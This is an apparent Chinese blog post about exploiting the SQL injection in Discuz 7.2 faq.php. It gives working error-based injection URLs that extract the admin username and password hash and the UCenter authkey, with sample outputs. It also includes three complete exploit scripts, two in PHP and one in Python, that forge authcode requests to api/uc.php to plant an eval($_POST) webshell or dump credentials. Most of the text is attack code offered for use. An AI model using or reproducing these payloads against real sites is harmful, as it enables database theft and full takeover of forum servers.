discuz 7.2 faq.php sql注入的一点研究

6.2号(可能更早)看到网上这个exp,是一个discuz 7.2的sql注射漏洞

经过多番考证,网上多数exp中都存在这些或者那些的问题,我自己利用和修改后总结,利用方法如下:

 Discuz 7.2 /faq.php SQL注入漏洞


1.获取数据库版本信息
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema 
.tables group by x)a)%23
 
2.获取管理员账户密码
 
faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
要去掉最后的1


如:
http://XXXXX/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20(select%20(select%20concat(username,0x27,password)%20from%20cdb_members%20limit%201)%20)%20from%20`information_schema`.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回:
Error: Duplicate entry 'admin'f426eaa50a5c805d360ca4046419c6ba1' for key 'group_key'
密文就是f426eaa50a5c805d360ca4046419c6ba


 
3.获取key
 
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23


faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,63,64) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
这里需要注意
由于authkey的长度限制,只能是62个长度单位,并且由于不能修改exp内容(修改后不能暴库),所以采用两次获取的的方法,先获取前62位,在获取后2位



http://XXXXX/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回:
Error: Duplicate entry '1:C7e2Fa170467q8sbX4ud77Masbr0W7v7Acg9Q9b4i1Lezat8i0d9Ebj5p6Q2se' for key 'group_key'


http://XXXX/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,63,64)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回:
Error: Duplicate entry '1:o6:' for key 'group_key'
最后的key就是"C7e2Fa170467q8sbX4ud77Masbr0W7v7Acg9Q9b4i1Lezat8i0d9Ebj5p6Q2se"+"o6"=C7e2Fa170467q8sbX4ud77Masbr0W7v7Acg9Q9b4i1Lezat8i0d9Ebj5p6Q2seo6


获得了hash和key之后本想参考那利用key getshell的办法,但一看是x2 x2.5 x3的利用漏洞,一共有两个版本的

PHP 版

<?php
// 代码版权归原作者所有!
    $timestamp = time()+10*3600;
    $host="127.0.0.1";
    $uc_key="eapf15K8b334Bc8eBeY4Gfn1VbqeA0N5Waofq6J285Ca33i151e551g0l9f2l3dd";
    $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
    $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
 <item id="UC_API">http://xxx\');eval($_POST[DOM]);//</item>
</root>';
    $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
 <item id="UC_API">http://aaa</item>
</root>';
    $html1 = send($cmd1);
    echo $html1;
    $html2 = send($cmd2);
    echo $html2;
 
function send($cmd){
    global $host,$code;
    $message = "POST /api/uc.php?code=".$code."  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: ".$host."\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: ".$host."\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;
 
	//var_dump($message);
    $fp = fsockopen($host, 80);
    fputs($fp, $message);
 
    $resp = '';
 
    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
 
    return $resp;
}
 
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;
 
    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
 
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
 
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
 
    $result = '';
    $box = range(0, 255);
 
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
 
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
 
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
 
    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
                return '';
            }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }
 
}
?>

一个paython版

#! /usr/bin/env python
#coding=utf-8
import hashlib
import time
import math
import base64
import urllib
import urllib2
import sys
 
def microtime(get_as_float = False) :
    if get_as_float:
        return time.time()
    else:
        return '%.8f %d' % math.modf(time.time())
 
def get_authcode(string, key = ''):
    ckey_length = 4
    key = hashlib.md5(key).hexdigest()
    keya = hashlib.md5(key[0:16]).hexdigest()
    keyb = hashlib.md5(key[16:32]).hexdigest()
    keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
    #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]
    cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
 
    key_length = len(cryptkey)
    string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
    string_length = len(string)
    result = ''
    box = range(0, 256)
    rndkey = dict()
    for i in range(0,256):
        rndkey[i] = ord(cryptkey[i % key_length])
    j=0
    for i in range(0,256):
        j = (j + box[i] + rndkey[i]) % 256
        tmp = box[i]
        box[i] = box[j]
        box[j] = tmp
    a=0
    j=0
    for i in range(0,string_length):
        a = (a + 1) % 256
        j = (j + box[a]) % 256
        tmp = box[a]
        box[a] = box[j]
        box[j] = tmp
        result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
    return keyc + base64.b64encode(result).replace('=', '')
 
def get_shell(url,key,host):
    '''
    发送命令获取webshell
    '''
    headers={'Accept-Language':'zh-cn',
    'Content-Type':'application/x-www-form-urlencoded',
    'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
    'Referer':url
    }
    tm = time.time()+10*3600
    tm="time=%d&action=updateapps" %tm
    code = urllib.quote(get_authcode(tm,key))
    url=url+"?code="+code
    data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
            <root>
            <item id="UC_API">http://xxx\');eval($_POST[1]);//</item>
            </root>'''
    try:
        req=urllib2.Request(url,data=data1,headers=headers)
        ret=urllib2.urlopen(req)
    except:
        return "访问出错"
    data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
            <root>
            <item id="UC_API">http://aaa</item>
            </root>'''
    try:
        req=urllib2.Request(url,data=data2,headers=headers)
        ret=urllib2.urlopen(req)
    except:
        return "error"
    return "webshell:"+host+"/config/config_ucenter.php,password:1"
 
if __name__ == '__main__':
    host=sys.argv[1]
    key=sys.argv[2]
    url=host+"/api/uc.php"
    print get_shell(url,key,host)

使用方法:

python uckey.py http://www.localhost.com/ uckey

但是发现好像不能通杀7.2,getshell并没有成功,不知道为什么,还请大家多指教。


最后附上“小马”的exp,但效果也不理想,大致远离同上,但是貌似也不能getshell

<?php
 
/**
 * @author: xiaoma
 * @blog  : www.i0day.com
 * @date  : 2014.7.2 23:1
 */
 
error_reporting(0);
set_time_limit(3000);
$host=$argv[1];
$path=$argv[2];
$js=$argv[3];
$timestamp = time()+10*3600;
$table="cdb_";//表名
 
if ($argc < 2) {
    print_r('
  ********************************************************
  *  Discuz faq.php SQL Injection Exp                    *
  *  ---------By:Www.i0day.com-----------               *
  *     Usage: php '.$argv[0].' url 1                    *
  *  -------------------------------------               *
  *  js选项: 1.GetShell 2.取密码 3.查表前缀              *
  *                                                      *
  *   php '.$argv[0].' Www.i0day.com / 1                    *
  *   php '.$argv[0].' Www.i0day.com /dz72/ 1               *
  *                                                      *
  *                                                      *
  ********************************************************
     ');
     exit;
}
if($js==1){
    $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a3a,(select%20length(authkey)%20from%20".$table."uc_applications%20limit%200,1),0x3a3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23";
    $resp = sendpack($host,$path,$sql);
 
    if(strpos($resp,"::")==-1){
        echo '表前缀可能不是默认cdb_ 请先查看表前缀!';
    }else{
    preg_match("/::(.*)::/",$resp,$matches);
    $lenght=intval($matches[1]);
    if($lenght){
        if($lenght<=124){
            $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,1,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";
            $resp = sendpack($host,$path,$sql);
            if(strpos($resp,"1\^")!=-1){
                preg_match("/1\^(.*)\'/U",$resp,$key1);
            $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,63,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";
            $resp = sendpack($host,$path,$sql);
            preg_match("/1\^(.*)\'/U",$resp,$key2);
            $key=$key1[1].$key2[1];
            $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $key));
            $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
 <item id="UC_API">bbs.49you.com\');eval($_POST[i0day]);//</item>
</root>';
            $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
 <item id="UC_API">bbs.49you.com</item>
</root>';
            $html1 = send($cmd1);
            $res1=substr($html1,-1);
            $html2 = send($cmd2);
            $res2=substr($html1,-1);
            if($res1=='1'&&$res2=='1'){
            echo "shell地址:http://".$host.$path.'config.inc.php   pass:i0day';
            }
            }else{
                echo '获取失败';
            }
        }
    }
   }        
 
}elseif($js==2){
    $sql="action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%280x5E5E5E,username,0x3a,password,0x3a,salt%29%20from%20".$table."uc_members%20limit%200,1%29,floor%28rand%280%29*2%29,0x5E%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23";
    $resp = sendpack($host,$path,$sql);
    if(strpos($resp,"\^\^\^")!=-1){
        preg_match("/\^\^\^(.*)\^/U",$resp,$password);
        echo '密码:'.$password[1];
        }else{
            echo '表前缀可能不是默认cdb_ 请先查看表前缀!';
        }
}elseif($js==3){
    $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20hex(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x5E)x%20from%20information_schema%20.tables%20group%20by%20x)a)%23";
    $resp = sendpack($host,$path,$sql);
    if(strpos($resp,"1\^")!=-1){
        preg_match("/1\^(.*)\^/U",$resp,$t);
 
        if(strpos($t[1],"cdb_")!=-1){
            echo "表名为:".hex2str($t[1])." 表前缀为默认cdb_ 无需修改";
        }else{
            echo "表名:".hex2str($t[1]).' 不是默认表名cdb_请自行修改代码中的$table';
        }
    }else{
        echo "查看表前缀失败,Sorry";
    }
}else{
    echo "未选择脚本功能";
}
 
function sendpack($host,$path,$sql,$js){
       $data = "GET ".$path."/faq.php?".$sql." HTTP/1.1\r\n";
        $data.="Host:".$host."\r\n";
        $data.="User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n";
        $data.="Connection: close\r\n\r\n";
        //$data.=$html."\r\n";
        $ock=fsockopen($host,80);
 
        if(!$ock){
        echo "No response from ".$host;
        die();
 
        }
        fwrite($ock,$data);
 
        $resp = '';
 
        while (!feof($ock)) {
 
                $resp.=fread($ock, 1024);
                }
 
        return $resp;
 
}
function send($cmd){
    global $host,$code,$path;
    $message = "POST ".$path."/api/uc.php?code=".$code."  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: ".$host."\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: ".$host."\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;
 
    //var_dump($message);
    $fp = fsockopen($host, 80);
    fputs($fp, $message);
 
    $resp = '';
 
    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
 
    return $resp;
}
 
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;
 
    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
 
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
 
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
 
    $result = '';
    $box = range(0, 255);
 
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
 
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
 
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
 
    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
                return '';
            }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }
 
}
function hex2str($hex){
    $str = '';
    $arr = str_split($hex, 2);
    foreach($arr as $bit){
        $str .= chr(hexdec($bit));
    }
    return $str;
    }
?>



你可能感兴趣的:(discuz 7.2 faq.php sql注入的一点研究)